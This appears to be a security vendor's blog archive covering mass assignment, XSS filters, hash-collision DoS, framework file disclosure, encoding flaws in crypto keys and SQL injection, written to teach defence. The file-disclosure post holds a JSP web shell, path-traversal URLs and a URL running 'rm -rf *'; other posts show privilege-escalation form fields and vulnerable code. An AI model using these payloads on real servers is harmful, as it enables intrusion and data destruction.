Friday, 23 March 2012

Mass Assignment - It's Not Just For Rails Anymore

 

If you haven’t already heard, Github (and Ruby on Rails by default) was shown to have a vulnerability where a web user could change his role and give himself commit rights to the Rails code repository via request parameters.  You might be thinking that this is bad but you are safe because you are not using Ruby on Rails. But you might have the same problem.  Unfortunately, the cause of the “mass assignment” problem relates to the universal web framework pattern of auto-magically binding request parameters into model objects.  If you are using Fortify, we catch this in Spring MVC as Request Parameters Bound into Persisted Objects.

 

Model Objects

 

Model objects are an object-oriented representation of database entities.  They provide convenience methods to load, store, update, and delete associated database entities.  Hibernate and LINQ are examples of Object Relational Mapping (ORM) frameworks that help you build database-backed model objects.

 

Auto-binding of Request Parameters to Objects

 

Many web frameworks make life easier for developers by providing a mechanism for binding request parameters into request bound objects based on matching request parameter names to object attribute names (based on matching public getter and setter methods). 

 

Framework

Request Parameter Binding Method

Struts 1

ActionForms

Struts 2

ModelDriven Objects or

Action Attributes

Spring MVC < 2.5

Command Objects

Spring MVC 2.5+

Controller method parameters

.NET MVC

Controller method parameters

Grails and Rails

Request parameters directly bound into model attributes

 

Identifying the Problem

 

If you are using ORM classes as your request bound objects you probably have a mass assignment problem.  Also, if you are only blacklisting (possible in .NET MVC) or whitelisting the wrong columns, this could be a problem.

 

Where Developers Assumptions Go Wrong

 

When developers create web pages to update model objects they typically provide a subset of the model attributes as <input> fields in the HTML form page.

 

Assume that your ORM entities include Customer and Profile:

 

@Entity

public class Customer {

      private long id;

      private String fname;

      private String lname;

      @OneToOne

      private Profile profile;

      …

      //public getter and setters omitted for brevity

 

}

 

@Entity

public class Profile {

      private long id;

      private String username;

      private String password;

      private String role;

      private String publicKey;

 

      //public getter and setters omitted for brevity

}

 

The corresponding HTML form that updates the Customer information looks like:

 

<form action”/updateCustomer” method=”post” >

      <input name=”customer.fname” />

      <input name=”customer.lname” />

      …

</form>

 

The developer makes an assumption that user will not know the schema of the database or attributes of the model object which are updated by the <form> above.  The problem is that database schema information is leaked in the other pages of the application from input name attributes or can be guessed (password, role, etc.).  So an attacker could create additional parameters to the form post such that the request would look like the following:

 

<form action”/updateCustomer” method=”post” >

      <input name=”customer.fname” />

      <input name=”customer.lname” />

      …

      <input name=”customer.profile.id” value=”attacker_determined_value” />

<input name=”customer.profile.role” value=”ROLE_ADMIN” />

      <input name=”customer.profile.publicKey” value=”xxxx…” />

</form>

 

The attacker may update an existing profile (change another user’s password) or add a new record (in the profile table) with attacker controlled values or update any arbitrary field in the customer table.

Addressing the Problem

 

Make sure you whitelist the request parameter names used to update model objects.  Or utilize one of the following secure model binding mechanisms:

 

Framework

Secure Model Binding Mechanism

Rails

attr_accessible

.NET MVC

[Bind(Include=”columnName”)] and [Bind(Exclude=”columnName”)] attributes

Grails

Grails-safebindable plug-in

Spring MVC

DataBinder.setAllowedFields()

Other Frameworks(Struts 1 & 2, etc.)

Avoid request bound model objects

 

With the other frameworks, it is probably better to not use model objects as request bindable objects. Instead, manually copy over the values until these frameworks come up to speed with implementing a solution.

Technorati Tags:

Posted by akang at 8:08 PM in Vulnerabilities-Breaches

Sunday, 26 February 2012

Browser Based Reflected XSS Protections

Reflected XSS is one of the most prevalent and dangerous web application vulnerabilities in the last decade. Where most injection vulnerabilities attack the server, reflected XSS injects data in to the browser itself. The root cause of XSS is in the application code and it should be there fixed too. However, some instances of XSS are really hard to detects and websites like xssed.com proof that there are still a lot of the vulnerabilities in high profile websites. As such, additional protection mechanisms are always welcome. Recently, browsers improve their protection mechanisms against XSS.

Internet Explorer 8 has a built-in XSS filter that tries to intercept XSS attempts. "The XSS Filter, a feature new to Internet Explorer 8, detects JScript in URL and HTTP POST requests. If JScript is detected, the XSS Filter searches evidence of reflection, information that would be returned to the attacking Web site if the attacking request were submitted unchanged. If reflection is detected, the XSS Filter sanitizes the original request so that the additional JScript cannot be executed." – MSDN [1]

Like ASP.NET RequestValidation, IE8 XSS filter is based on black listing. It is very easy to use, and there is nothing to configure except to turn it on or off. As all complicated things that are simplified to an on-off switch, reports say it is not 100% accurate. The mechanism may accidentally block something it shouldn’t block [5].

Firefox has implemented a similar black-listing XSS filter but the mechanism is currently backed out for further testing [4]. At the moment, if you are using Firefox and want to use the XSS filter, you can install the popular open-source NoScript add-on which, in addition to the ability to en/disable scripts on a per-domain basis, provides some anti-XSS protection even when scripts are enabled.

In addition, Firefox 4 implemented a new XSS protection based on white listing. Firefox 4 uses Content Security Policy (CSP) [6] [7] [8] to quickly identify and block XSS attempts by using the server headers to identify the content it expects. As a consequence, the mechanism knows which content to block based on its lack of adherence to the server's own CSP. For example, the following HTTP header specifies images that can be loaded from anywhere and scripts that can only be loaded from ‘self’ or “scripts.com”.

X-Content-Security-Policy: default-src 'self'; img-src *; script-src scripts.com

CSP is still just a W3C draft. The strongest XSS protection offered by CSP would require websites to migrate all inline JavaScripts to external files which is challenging and time-consuming. However, if implemented correctly, CSP can protect more than just Reflected XSS. Vulnerabilities like Persistent XSS and Click-Jacking can then also be protected by CSP. For now, I believe blacking listing XSS filter will continue to provide a more effective browser based reflected XSS protection.

References

  1. http://msdn.microsoft.com/en-us/library/dd565647(VS.85).aspx
  2. http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx
  3. http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx
  4. https://bugzilla.mozilla.org/show_bug.cgi?id=680771
  5. http://michael-coates.blogspot.com/2009/07/ie-8-anti-xss-bit-overblown.html
  6. https://developer.mozilla.org/en/Security/CSP/Using_Content_Security_Policy
  7. https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html
  8. http://www.rooftopsolutions.nl/blog/content-security-policy-update
Posted by sam at 7:11 AM in Vulnerabilities-Breaches

Wednesday, 4 January 2012

Web Server DoS by Hash Collision

For efficiency reasons, most web servers store the request parameters in a hash table. However, when a request contains many parameters, say 10000 parameters, and the hash values for the parameter names are all the same, then the web server will spend a lot of time parsing the request. In such scenario, the hash insertion is very slow because of hash collisions. Some people wrote about this before, but nobody really knew how to generate a large amount of multi-collision strings, until Dec 28th...

“alech” and “zeri” pointed out that most String hashing functions are either based on DJBX33A or DJBX33X algorithms which are vulnerable to “Equivalent substrings” and “Meet-in-the-middle” attacks respectively. DJBX33A has the property that if two strings collide, e.g. hash('ABC') = hash('XYZ'), then hashes having this substring at the same position collide as well, e.g. hash('prefixABCpostfix') = hash('prefixXYZpostfix'). Therefore, you can easily generate infinite number of collided strings by something like “ABCABC”, “ABCXYZ”, “XYZABC”, etc. DJBX33X is not vulnerable to “Equivalent substrings” attack but is vulnerable to “Meet-in-the-middle”. By using “Meet-in-the-middle”, an attacker can get collided strings with probability of around 1/2^16, which can easily be searched. By using these techniques, “alech” and “zeri” are able to DoS the following servers:

Server Name Result
PHP 70-100kbit/s to keep one i7 core constantly busy
Gigabit connection can keep about 10,000 i7 cores busy
ASP.NET 30kbit/s to keep one Core2 core constantly busy
Gigabit connection can keep about 30,000 Core2 cores busy
Java Tomcat6 6 kbit/s can keep one i7 core constantly busy
Gigabit connection can keep about 100,000 i7 cores busy
Python (32bit only) 20 kbit/s can keep one Core Duo core constantly busy
Gigabit connection can keep about 50,000 Core Duo cores busy.
Ruby 850 bits/s can keep one i7 core busy
Gigabit connection can keep about 1,000,000 i7 cores busy

Status:

  • Microsoft released a patch (MS11-100) on Dec 29th. The patch adds a new ASPX config parameter “aspnet:MaxHttpCollectionKeys”, default value is 1,000.
  • Tomcat released 7.0.23 and 6.0.35: new configuration parameter “maxParameterCount”, default value is 10,000.
  • PHP released 5.4.0 RC4: new “max_input_vars” directive to prevent attacks based on hash collisions.

As it is not always possible to upgrade to the latest application server, it is still possible to patch your application server by writing custom rule in a product like HP Fortify RTA.

References:

Posted by sam at 6:53 AM in Vulnerabilities-Breaches

Friday, 9 December 2011

Application Frameworks and Static Analysis (Part Zwei)

Last week you learned about some of the more advanced features in SCA and how they are used to support and identify vulnerabilities in application frameworks.  We also discussed dataflow analysis.  But dataflow analysis is not sufficient to adequately cover application frameworks.  One has to look at the application framework with a discerning eye and identify vulnerabilities in the framework which are specific to the use of that framework.   This week we will shift gears and start looking at framework specific vulnerabilities. 

Framework Specific Vulnerabilities (Error Prone APIs)

Framework specific vulnerabilities relate to coding constructs or security holes which are created by well meaning developers (usually in the name of productivity enhancements) which allow a new and .  Struts 2 has the following:  over exposed request bound objects, inconsistent model on the value-stack, value-stack shadowing, file upload DOS, file disclosure, blended threats, default stack vulnerabilities, under inclusive exception handling, exposed *Aware interfaces, exposed methods (most privilege), framework specific race conditions, OGNL script injection, and file download vulnerabilities.

I obviously cannot go through all of the vulnerabilities identified above but let’s look at framework specific file disclosure.

Framework Specific File Disclosure

Framework specific file disclosure is a vulnerability where an attacker can download any file that is part of the application, remotely or execute files are the server remotely.  The files that are downloadable are configuration files (web.xml, applicationContext.xml, default.properties, etc.), jar files (any jar files in the WEB-INF/lib directory), and class files (any class under the /WEB-INF/classes directory).  It was originally discovered in a constructor argument to Spring MVC’s ModelAndView(…) object by Ryan Berg and Dinis Cruz (http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf).  Ryan and Dinis had discovered this vulnerability in the Spring MVC framework but this is a serious vulnerability which exists in many MVC frameworks.  Here is what the vulnerability looks like across different frameworks:

 

//Struts 1.x given you are in an Action method …

String dest = request.getParameter(“url”);

return ActionForward(dest);

 

//Struts 2.x which is a bit more complicated because it includes the

//configuration file below

Public class ProcessOrderAction {

Private String dest;

//public getter and setters omitted

 

//Struts 2.x configuration file

<action name=”ProcessOrder_*” method=”{1}” class=”ProcessOrderAction” >

     <result name=”success”> ${dest} </result>

 

Or

 

<%-- in a Struts JSP page --%>

<s:include value=”${param.dest}” />

 

Or

 

<%-- in a JEE JSP page --%>

<jsp:include page=”${param.dest}” />

<jsp:forward page=”${param.dest}” />

 

Or

 

//Spring 3 annotated method

@RequestMapping (“/processOrder”)

public String processMyOrder(@RequestParam String dest, @RequestParam String id, @ModelAttribute Order order) {

return dest;

 

Or

 

//In a servlet

String dest = request.getParameter(“dest”);

RequestDispatcher rd = request.getRequestDispatcher(dest);

rd.forward(req, res);

 

I could go on and on but you get my drift. 

To exploit this vulnerability you can either pass in the full path to the file you want or utilize path parameters.

When the dest is directly being used you can pass in:

http://www.yourserver.com/webApp/logic?dest=/WEB-INF/web.xml

In other cases you may need to pass in

http://www.yourserver.com/webApp/logic?dest=forward:/WEB-INF/web.xml

and finally you may need to pass in

http://www.yourserver.com/webApp/logic?dest=../WEB-INF/web.xml;test=

this is due to the funny way Spring MVC resolves views.

If you return a string from a @RequestMapped method it will pass the string to an InternalResourceViewResolver.  A typical view resolver is configured as follows:

<bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">

        <property name="prefix" value="/WEB-INF/jsp/"/>

        <property name="suffix" value=".jsp"/>

</bean>

 

The way this works is that the string returned from a request mapped method is pre-pended with the prefix and post-pended with the suffix.  So if “processOrder” is returned from:

//Spring 3 annotated method

@RequestMapping (“/processOrder”)

public String processMyOrder(@RequestParam String dest, @RequestParam String id, @ModelAttribute Order order) {

return “processOrder”;

Then the request is forwarded to “/WEB-INF/jsp/processOrder.jsp”.

To subvert the prefix and suffix the attacker can use path parameters.  Path parameters are parameters passed in after the “;” (semicolon) in a URL.

So the attacker can return “../web.xml;test=x” which will forward the request to:

/WEB-INF/jsp/../web.xml;test=x.jsp

This request returns the web.xml file in the browser and test=x.jsp is treated as a path parameter.

If you see the following and think you are safe then you would be wrong depending on the app server you are running:

return new ActionForward(“/WEB-INF/jsp/someFile.jsp?param=” +

req.getParameter(“input”) );

Normally an attacker would not be able to exploit this as a file disclosure but if the application was running on certain versions of tomcat an attacker could still successfully carry out the file disclosure attack even if only appending a request parameter value.

According to CVE-2008-2370, “Apache Tomcat 4.1.0 through 4.1.37, 5.5.0 through 5.5.26, and 6.0.0 through 6.0.16, when a RequestDispatcher is used, performs path normalization before removing the query string from the URI, which allows remote attackers to conduct directory traversal attacks and read arbitrary files via a .. (dot dot) in a request parameter.”

So the attacker could pass in “/../../web.xml” and the web.xml would be displayed as the URL would look like the following:

/WEB-INF/jsp/someFile.jsp?param=/../../web.xml

Which gets canonicalized down to:

/WEB-INF/web.xml

But you may say, “What is the big deal if I reveal some configuration files especially if there is no confidential data in them.”  There are two reasons why the file disclosure is especially bad:  1. The attacker can download your intellectual property including class files and jar files within your application.  2.  This attack can be combined with a file upload vulnerability (as a server side blended attack) to allow an attacker to execute arbitrary system level commands.

The book, Struts 2 Design and Programming: A Tutorial by Budi Kurniawan provide a file upload example code similar to the following:

 

public class FileUploadAction extends ActionSupport {

private File attachment;

private String attachmentFileName;

private String attachmentContentType;

public String upload() throws Exception {

     ServletContext sc = ServletActionContext.getServletContext();

     String uploadDir = sc.getRealPath(“/WEB-INF”);

     uploadedDir = uploadedDir + “/uploadedFiles”;

     File savedFile = new File(uploadedDir, attachmentFileName);

     Attachment.renameTo(savedFile);

}

I tried getting “..\” into the attachmentFileName without success because the “..” were getting filtered by the Apache Commons File Upload component.  So if we assume that you could NOT do a path manipulation attack, why is this code important to the file disclosure vulnerability?

What if an attacker could upload a JSP file with the following body:

 

// From body of commandProxy.jsp

<% 

Runtime rt = Runtime.getRuntime();

rt.exec(request.getParameter(“osCommand”));

%>

 

Then the attacker could use the file disclosure vulnerability in the following way.

http://www.yourserver.com/webApp/logic?dest=/WEB-INF/uploadedFiles/commandProxy.jsp?osCommand=rm%20–rf%20*

The attacker now has the ability to pown your server.

Conclusion

I have only scratched the surface as to researching and exploiting application frameworks. All of the vulnerabilities I described above can be found with the static analysis rules I described above.   I hope I highlighted why you can count on Fortify to cover application frameworks and gave you insight into how we work.  Some of the rule scripting techniques I described are currently only supported for internal use, however plans are in the works to expand the custom rules documentation to put the power of rules scripting into your hands.  Once you see what you can do with custom rules and scripting, prepare yourself to be amazed.

 

 

 

 

 

Technorati Tags:

Posted by akang at 12:00 AM in Vulnerabilities-Breaches

Thursday, 15 September 2011

The Perils of Encodings

Encodings are something that we usually take for granted in our daily lives.  All of our files use it when we save files to the file system.  Our web applications use it determine how to receive and send data for each HTTP request.  Our browsers use it to determine how bytes should be converted to characters when receiving the HTTP response.  But most of us don’t understand the implications of using encodings incorrectly or not at all.  The first case in point would be converting between Strings and byte arrays.

Converting Strings to Bytes and Vice Versa

 

If you look across the web for samples of how to code encryption you will see the following many times:

static string GenerateKey() 

{

// Create an instance of Symetric Algorithm. Key and IV is generated automatically.

DESCryptoServiceProvider desCrypto

          =(DESCryptoServiceProvider)DESCryptoServiceProvider.Create();

 

// Use the Automatically generated key for Encryption.

return ASCIIEncoding.ASCII.GetString(desCrypto.Key);

}

Similar code is all over the Web because the code came from Microsoft’s Security Patterns and Practices as well as MSDN’s articles on doing cryptography.  If .NET developers are following Microsoft’s guidance then we are looking at a lot of potentially vulnerable (in hours not years) encrypted data.  Here are the links to the MSDN articles:

http://support.microsoft.com/kb/307010

http://support.microsoft.com/kb/301070


Asides from the fact that DES is a broken algorithm can you spot the vuln?  Hint it has to do with encodings.

Well if you guessed:

 

return ASCIIEncoding.ASCII.GetString(desCrypto.Key);

 

Ding…Ding…Ding.  Give that person a cigar.

Running a randomly generated key through ASCIIEncoding.ASCII.GetString(…) will convert bytes outside range of 0-127 to char(63) which is the ?.  The other bytes will get converted to characters within the 0-127 range.   Making the mistake above would result in a key where half of the characters were question marks and the other half of the characters were limited to half of their byte key space.  To put this into perspective, most encryption keys are 128 bits (16 bytes) however the DES example above uses 64 bit keys with a parity bit used in each key byte resulting in a 56 bit effective key size.  After following the advice above, an AES 128 bit key turns into a 56 bit key (128/2 = 64 bits because half of the key is turned into question marks, then the remaining 64 bits or 8 bytes have their 8th bit turned off which results in a 64 - 8 = 56 bit effective key size) and the DES key, from the example above, turns into a 28 bit effective key size (64/2 = 32 – 4 = 28 bits because the 4 bytes that were not turned into question marks have 0 as the 8th order bit).  Recent experiments have shown 56 bit keys to be breakable in hours.  If you are a .NET developer and have relied on MSDN articles for guidance on how to do encryption I would strongly suggest that you revisit your encryption code. 

If you are thinking of changing the errant code above to:

return UnicodeEncoding.UTF8.GetString(desCrypto.Key);

because you think that UTF8 (Unicode Transformation Format) should be able to represent all characters then you will be right and wrong with basically the same result.  UTF8 can represent every character in existence and could be modified to support extra terrestrial character sets, but the encoding rules are going to trip you up if you try the code above as a replacement.

Remember that a crypto key has to be truly random.  Whereas UTF8 encoded strings have to follow a strict bit encoding pattern to identify characters.

To summarize UTF8 semantics:

If the character is an ASCII character it will start with a 0 bit because every byte holds 8 bits and 0-127 can fit into 7 bits. So the bit sequence looks like:

01xxxxxx

When you represent an ASCII character in UTF8 there is a direct one-for-one mapping.  However the problem arises when you need to represent characters outside of the 0-127 range.  The general rule is that the number of ones before the first zero in the bit pattern will tell you the number of 8 bit byte sequences that will make up Unicode character.  Remember that this is highly simplified as there are also rules associated with combining Unicode characters to make new characters but that is not relevant here.  So if you have a valid sequence of UTF8 bytes they will look like the following:

1110xxxx             10xxxxxx              10xxxxxxx            10xxxxxx    …

The x’s above represent the bits used to identify the code point for the Unicode character (given that every character in existence is assigned a code point value or set of code point values). 

What happens if you get a byte sequence like the following (which could easily occur in a random key)

1110xxxxx           01xxxxxx              01110xxx             0001xxxx             …

Well it kind of depends on the UTF8 parser and interpreter.  Some interpreters will ignore/drop the invalid sequences altogether as bad (high-lighted in red) while others may ignore the starter byte (assuming that it was an error) and continue processing the byte sequences as characters that it understands (underlined and indented above).  In either case the key is significantly weakened.

So ASCII and UTF8 are Messed Up What about ISO8859-1 it’s an 8-bit Code Page

 

Pretty good that you suggested that but there are problems with this as well.  Initially you might think that these are ok because they are code pages which represent all 8 bits as characters.  When you convert from key bytes to characters you should not suffer the loss that you would under UTF8 or ASCII.  However, the problem is that there are a number of other ISO8859-x (cp1252-cp125x) code pages which utilize different characters for the high order bit patterns (128-255) with overlap between the code pages.  So if you store the characters as ISO8859-1 on one system them retrieve the characters as cp125x, the byte mappings will get messed up and your encrypted data will be corrupted or not decrypt properly because the encryption key becomes corrupted/altered.

Summary of the Problem

 

Another way of explaining the problem is that there is a disconnect between what encryption keys are and how they are being treated.  Encryption keys are being treated as text when they are just a random number of bits.  Text has to follow bit pattern rules defined by the code page they are being rendered in to ensure that they display correctly.  Encryption keys should not follow any rules and should be as random as possible to protect against brute forcing.  The only way I can explain the code above is that the MSDN code writer was looking for a way to store the encryption key in a format other than bytes. 

So What The Heck Are We Supposed to Do?

 

You might think of writing the raw bytes directly to a text file but avoid this because character sets are implicitly used when writing to or reading from files.  If the encryption key is written out to a file on a machine using one character set and later moved to a machine using a different character set, key bytes could become lost or corrupted when read from the alternate character set file system. 

If you are generating a key for use in a cryptographic operation, set the key on the crypter from the generated bytes directly.  If you have to store the key, then you can Base64 encode the byte stream after encrypting it.  When you need to use the key, Base64 decode the key, decrypt it, and set the key directly as a byte array on the crypter.

 

For references on how the ASCIIEncoding object encoder works:

 

http://msdn.microsoft.com/en-us/library/system.text.encoding.ascii.aspx#Y1209

"The ASCIIEncoding object that is returned by this property might not have the appropriate behavior for your application. It uses replacement fallback to replace each string that it cannot encode and each byte that it cannot decode with a question mark ("?") character. Instead, you can call the GetEncoding method to instantiate an ASCIIEncoding object whose fallback is either an EncoderFallbackException or a DecoderFallbackException, as the following example illustrates."

http://www.dijksterhuis.org/encoding-c-strings-as-byte-byte-arrays-and-back-again/

"Solution #1 – Convert Unicode to ASCII / String to an ASCII Byte[]

If you intend to send only the most basic of messages which can be satisfied with just A-Z, a-z & 0-9 and a few other characters you can convert the C# string using the ASCII encoder. You will however lose any characters that are not defined by ASCII. So while this is a good idea if your application is only used in North America, the rest of the world will probably not thank you for this design decision."

Special thanks to Brian Chess for reviewing this post for content and clarity.

Technorati Tags:

Posted by akang at 10:47 PM in Vulnerabilities-Breaches

Wednesday, 15 September 2010

Rails/ActiveRecord SQL Injection

If being cool were all it took to be immune from attacks then Rails would be the most secure system in the world. Sadly, it's not coolness that counts and Rails (and ActiveRecord) are just as susceptible as any system that allows direct submission of SQL.

Here we have a little code that connects to the database and does a reasonable ActiveRecord request to the database:

require 'rubygems'
require 'active_record'
 
ActiveRecord::Base.establish_connection(
	  :adapter  => 'mysql', :database => 'chat',
	  :username => '****', :password => '****',
	  :host     => 'localhost' )
ActiveRecord::Base.logger = Logger.new(STDOUT)

class ChatItem < ActiveRecord::Base
  set_table_name "chatitems"
end

# Good
ChatItem.find(:all).each { |ci| }
  # SQL - ChatItem Load (0.2ms)   SELECT * FROM `chatitems` 

The code opens up a connection to the database, defines a wrapper class for the table, in this case 'chatitem', and requests all of the records.

So far so good, but we haven't actually taken any user input yet.

term = 'Megan'
# Good
ChatItem.find(:all,:conditions=>["user=?",term]).each { |ci| }
  # SQL - ChatItem Load (0.1ms)   SELECT * FROM `chatitems` WHERE (user='Megan')  

This code now takes user input with the 'term' variable, which is hardcoded here but could easily have come from a request. The code is still good however because it uses a replacement operator with the '?' and allows ActiveRecord to do the right thing and escape the contents of the supplied variable.

Other equally good methods here are to use the find_by style or the where style. All of which is documented on the Rails site.

This code is a prime example of how it should be done. Now let's look at a bad example:

# Bad: open to attack
ChatItem.find(:all,:conditions=>"user='#{term}'").each { |ci| }
  # SQL - ChatItem Load (0.1ms)   SELECT * FROM `chatitems` WHERE (user='Megan')

In this case I use the Ruby string replacement operator to just hand a piece of SQL code to the ActiveRecord engine. This code is susceptible because I don't do any escaping. You can see from the result that it's ok in this case, but the 'term' variable could easily hold a SQL injection attack string.

Here it's even worse. The code just gives the whole SQL string.

# Bad: Too complex and open to attack 
ChatItem.find_by_sql("SELECT * FROM chatitems WHERE user='#{term}'").each { |ci| }
  # SQL - ChatItem Load (0.1ms)   SELECT * FROM chatitems WHERE user='Megan'

Just like the other this is also highly susceptible to attack. As is the final one that doesn't use the object model at all:

# Bad: Too complex, doesn't map to objects, and open to attack
ChatItem.connection.select_all("SELECT * FROM chatitems WHERE user='#{term}'").each { |ci| }
  # SQL - ChatItem Load (0.1ms)   SELECT * FROM chatitems WHERE user='Megan'

This code I wouldn't even categorize as ActiveRecord since it doesn't use any of the object model, it just uses ActiveRecord to execute SQL directly.

The lesson here is pretty simple and pleasant. ActiveRecord makes it easy and secure to access the database if you do things the Rails way. The more that you stray from that path the more things will get both difficult and insecure.

For security folks on Rails applications the message is: 'Use ActiveRecord the easy way'. The more SQL your developers are writing the worse off they are. The code will be slower, harder to read, and more open to attack.

You make get some carping about SQL inefficiencies but the SQL code that ActiveRecord creates is sent to the longs and you can contrast and compare to see if the code it writes is any less efficient than what your developers will write to replace it.

Posted by jherrington at 9:58 AM in Vulnerabilities-Breaches

Tuesday, 7 September 2010

Watch Out Twitter Fans

There is a new easy to exploit vulnerability in Twitter that's making the news. Not a first for Twitter, but it's certainly worth keeping an eye on how attacks are being perpetrated on this popular service.

Posted by jherrington at 1:40 PM in Vulnerabilities-Breaches

Wednesday, 1 September 2010

Microsoft's Fresh New DLL Hell

Way back when the issue with DLLs was in versioning. Now Microsoft has a fresh new security issue with DLLs. Which just from a developers take looks pretty bad. CNet estimates that dozens of apps could be effected, including obscure applications like Word, PowerPoint, Firefox, Chrome and Photoshop. For it's part Microsoft is still being a little cagey about which apps are vulnerable.

To my eyes, it doesn't look like the primary issue here is with the applications themselves. This seems to be a vulnerability built right into the operating system.

Posted by jherrington at 9:34 AM in Vulnerabilities-Breaches

Wednesday, 25 August 2010

How A Flash Drive Compromised Military Security

The Washigton Post has an excellent article today on how a USB drive was used to compromise military security. The article is light on technical details but it does act as a good reminder on the importance of physical security, as well as having secure operating systems.

Posted by jherrington at 11:24 AM in Vulnerabilities-Breaches

Securing PHP and MySQL From SQL Injection - Part 1

PHP and MySQL are a natural pair. From the very beginning of PHP the language has had direct bindings to the MySQL API and a lot of applications still use those functions (i.e. mysql_connect, mysql_query, etc.) today. PHP has improved a lot and there are certainly better alternatives to using those direct API functions which I'll explore in subsequent articles. But if you have one of these legacy applications that uses the direct APIs you can do a lot to secure it from SQL injection without doing a massive port to one of the newer, better, PHP database APIs.

So, what's the problem with using this direct method? The issue comes in how we construct SQL queries. Here is a classic example:

<?php
$sql = "SELECT * FROM user WHERE ";
$sql .= "user_id='"+$_GET['user']+"' ";
$sql .= "AND password='"+$_GET['password']+"'";
$resp = mysql_query( $sql );
?>

Now leaving aside for the moment that the password field is unencrypted cleartext the primary issue here is that the query is vulnerable to SQL injection. The hacker could easily send a password string that terminated the single quote and added an OR condition that was always satisfied. That would give them instant access to the system because the query would always return the user record regardless of whether the correct password was provided.

The easiest way to secure your application from this type of attack is to use the mysql_real_escape_string method. This method escapes the string that's used in the SQL and thus protects against input that has malicious SQL embedded in it. Shown below is the same code fragment but with the mysql_real_escape_string method used.

<?php
$sql = "SELECT * FROM user WHERE ";
$sql .= "user_id='"+mysql_real_escape_string($_GET['user'])+"' ";
$sql .= "AND password='"+mysql_real_escape_string($_GET['password'])+"'";
$resp = mysql_query( $sql );
?>

Now some of the applications I've seen have had custom versions of mysql_real_escape_string that escaped out quotes. I really don't see the point of doing that. The mysql_real_escape_string does the job the right way. It's secure, it's maintained, and you should use it.

Having said all this, using the MySQL API directly is not really the best option. If you have the time you should use one of the newer database APIs for the following reasons:

  • Database Portability - The MySQL functions are bound to MySQL only. Using an abstract database interface allows you to connect to any supported database using the same code.
  • Replacement Operators - You place ? characters in your query string wherever you need parameters, then you pass in an array of parameters and they automatically fill those slots. That makes the query code a lot easier to read and maintain.
  • SQL Injection Security - If you use replacement operators the database abstraction layer will automatically do the parameter escaping for you, thus saving you the hassle of doing it yourself and keeping you safe from SQL injection.
  • Prepared Statements - You can prepare a SQL statement for execution, then use that statement multiple times in an efficient batch mode. That allows the database driver to cache the compiled SQL statement which gives you a real performance boost.

This blog post shows you how to secure the MySQL/PHP application you have today. In the follow-on blog post next week I'll show you how to convert this code to use one of PHPs database abstraction layers to get all of the advantages I enumerated above.

Posted by jherrington at 8:00 AM in Vulnerabilities-Breaches